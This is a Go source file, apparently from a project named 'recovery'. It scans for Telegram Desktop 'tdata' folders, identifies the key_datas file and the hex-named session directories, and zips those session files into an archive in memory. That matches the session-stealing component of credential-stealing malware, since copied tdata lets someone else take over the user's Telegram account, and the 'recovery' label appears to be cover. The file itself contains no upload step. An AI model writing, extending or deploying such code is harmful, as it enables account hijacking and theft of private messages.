235 lines
4.4 KiB
Go
235 lines
4.4 KiB
Go
package scanner
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"recovery/recovery/types"
|
|
"recovery/recovery/ziputil"
|
|
)
|
|
|
|
type telegramPathConfig struct {
|
|
name string
|
|
subPath string
|
|
base string
|
|
}
|
|
|
|
var tdataSessionFiles = map[string]bool{
|
|
"key_datas": true,
|
|
"usertag": true,
|
|
"settings0": true,
|
|
"settings1": true,
|
|
"configs": true,
|
|
}
|
|
|
|
func isTdataSessionDir(name string) bool {
|
|
if len(name) != 16 {
|
|
return false
|
|
}
|
|
for _, c := range name {
|
|
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
}
|
|
|
|
func ScanTelegram() []types.TelegramResult {
|
|
var results []types.TelegramResult
|
|
|
|
for _, tp := range getTelegramPaths() {
|
|
base := resolveTelegramBase(tp.base)
|
|
if base == "" {
|
|
continue
|
|
}
|
|
|
|
tdataDir := filepath.Join(base, tp.subPath)
|
|
if _, err := os.Stat(tdataDir); err != nil {
|
|
continue
|
|
}
|
|
|
|
accounts := findTelegramAccounts(tdataDir)
|
|
for _, acc := range accounts {
|
|
results = append(results, types.TelegramResult{
|
|
Account: acc.account,
|
|
Path: acc.path,
|
|
Files: acc.files,
|
|
Size: acc.size,
|
|
})
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
type telegramAccount struct {
|
|
account string
|
|
path string
|
|
files int
|
|
size int64
|
|
}
|
|
|
|
func findTelegramAccounts(tdataDir string) []telegramAccount {
|
|
var accounts []telegramAccount
|
|
|
|
entries, err := os.ReadDir(tdataDir)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
|
|
hasKeyData := false
|
|
for _, e := range entries {
|
|
if !e.IsDir() && e.Name() == "key_datas" {
|
|
hasKeyData = true
|
|
break
|
|
}
|
|
}
|
|
|
|
if hasKeyData {
|
|
files, size := countTdataFiles(tdataDir)
|
|
if files > 0 {
|
|
accounts = append(accounts, telegramAccount{
|
|
account: "Main",
|
|
path: tdataDir,
|
|
files: files,
|
|
size: size,
|
|
})
|
|
}
|
|
}
|
|
|
|
for _, e := range entries {
|
|
if !e.IsDir() {
|
|
continue
|
|
}
|
|
name := e.Name()
|
|
if !isTdataSessionDir(name) {
|
|
continue
|
|
}
|
|
sessionDir := filepath.Join(tdataDir, name)
|
|
sessionEntries, err := os.ReadDir(sessionDir)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
hasData := false
|
|
for _, se := range sessionEntries {
|
|
if !se.IsDir() {
|
|
hasData = true
|
|
break
|
|
}
|
|
}
|
|
if hasData {
|
|
files, size := countTdataSessionFiles(sessionDir)
|
|
accounts = append(accounts, telegramAccount{
|
|
account: name,
|
|
path: sessionDir,
|
|
files: files,
|
|
size: size,
|
|
})
|
|
}
|
|
}
|
|
|
|
return accounts
|
|
}
|
|
|
|
func countTdataFiles(tdataDir string) (int, int64) {
|
|
var count int
|
|
var totalSize int64
|
|
|
|
entries, err := os.ReadDir(tdataDir)
|
|
if err != nil {
|
|
return 0, 0
|
|
}
|
|
|
|
for _, e := range entries {
|
|
if e.IsDir() {
|
|
continue
|
|
}
|
|
name := e.Name()
|
|
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
|
|
info, err := e.Info()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
count++
|
|
totalSize += info.Size()
|
|
}
|
|
}
|
|
|
|
return count, totalSize
|
|
}
|
|
|
|
func countTdataSessionFiles(dir string) (int, int64) {
|
|
var count int
|
|
var totalSize int64
|
|
|
|
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil || info.IsDir() {
|
|
return nil
|
|
}
|
|
count++
|
|
totalSize += info.Size()
|
|
return nil
|
|
})
|
|
|
|
return count, totalSize
|
|
}
|
|
|
|
func ZipTelegram(path string) ([]byte, error) {
|
|
info, err := os.Stat(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
if !info.IsDir() {
|
|
return nil, os.ErrNotExist
|
|
}
|
|
|
|
// If this is a session subfolder (hex name), just zip its contents directly
|
|
if isTdataSessionDir(filepath.Base(path)) {
|
|
return ziputil.ZipDirectory(path)
|
|
}
|
|
|
|
// Otherwise this is the tdata root — zip key files + session subdirs
|
|
return zipTdataRoot(path)
|
|
}
|
|
|
|
func zipTdataRoot(tdataDir string) ([]byte, error) {
|
|
entries, err := os.ReadDir(tdataDir)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var filesToZip []string
|
|
|
|
for _, e := range entries {
|
|
name := e.Name()
|
|
if e.IsDir() {
|
|
if isTdataSessionDir(name) {
|
|
sessionDir := filepath.Join(tdataDir, name)
|
|
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil || info.IsDir() {
|
|
return nil
|
|
}
|
|
if info.Size() < 50*1024*1024 {
|
|
filesToZip = append(filesToZip, path)
|
|
}
|
|
return nil
|
|
})
|
|
}
|
|
} else {
|
|
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
|
|
info, _ := e.Info()
|
|
if info != nil && info.Size() < 50*1024*1024 {
|
|
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if len(filesToZip) == 0 {
|
|
return nil, os.ErrNotExist
|
|
}
|
|
|
|
return ziputil.ZipFiles(filesToZip, tdataDir)
|
|
}
|